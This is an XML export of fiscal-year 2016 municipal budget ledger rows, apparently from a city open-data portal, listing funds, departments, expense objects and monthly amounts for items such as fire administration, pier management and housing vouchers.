<row _id="20987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>569290.0</object><object_description>FIRE TRUCK MAINTENANCE REIMB</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>428268</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>428268</total></row>
<row _id="20988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561147.0</object><object_description>ST. JOE HPSHP - HUD</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21672</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21672</total></row>
<row _id="20989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544470.0</object><object_description>GROUNDS MAINT EQ &amp; SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9000</total></row>
<row _id="20990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>47204</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>47204</total></row>
<row _id="20991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16217</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16217</total></row>
<row _id="20992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>408260.0</object><object_description>AHPP COMP MONITOR-ANNUAL FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-150000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-150000</total></row>
<row _id="20993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401231.0</object><object_description>URBAN MASTER PLAN COPIES</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1809</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1809</total></row>
<row _id="20995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>426</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>426</total></row>
<row _id="20996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4535</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4535</total></row>
<row _id="20997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
<row _id="20998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>746</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>746</total></row>
<row _id="21000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570290.0</object><object_description>TRANSFER OUT-LOW/MOD FD.</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1200000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1200000</total></row>
<row _id="21001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>569340.0</object><object_description>EMERGENCY ACCOMODATIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5100</total></row>
<row _id="21002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>450640</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>450640</total></row>
<row _id="21003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>76274</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>76274</total></row>
<row _id="21004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6500</total></row>
<row _id="21006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577344.0</object><object_description>HAP-VOUCHER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12415648</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12415648</total></row>
<row _id="21007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9878</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9878</total></row>
<row _id="21008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5100</total></row>
<row _id="21009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>448</total></row>
<row _id="21010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1953</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1953</total></row>
<row _id="21011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1038</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1038</total></row>
<row _id="21012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>542210.0</object><object_description>PUBLICATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>191021</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>191021</total></row>
<row _id="21013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20033</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20033</total></row>
<row _id="21014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571140.0</object><object_description>S+C HAP EXPANSION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>194940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>194940</total></row>
<row _id="21016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-44949</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-44949</total></row>
<row _id="21017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562434.0</object><object_description>SHP-OPCC</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>112958</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>112958</total></row>
<row _id="21018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="21019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511010.0</object><object_description>ESTIMATED PAY RAISE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>213</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>213</total></row>
<row _id="21022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>144</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>144</total></row>
<row _id="21023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4691</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4691</total></row>
<row _id="21024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>639</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>639</total></row>
<row _id="21025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="21026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>292196</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>292196</total></row>
<row _id="21027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>135059</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>135059</total></row>
<row _id="21028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="21029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>71543</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>71543</total></row>
<row _id="21030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577300.0</object><object_description>PIER RESTORATION CORPORATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>513217</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>513217</total></row>
<row _id="21031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>312</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>312</total></row>
<row _id="21032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6778</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6778</total></row>
<row _id="21033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>320</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>320</total></row>
<row _id="21034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>573979</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>573979</total></row>
<row _id="21035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8850</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8850</total></row>
<row _id="21036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4940</total></row>
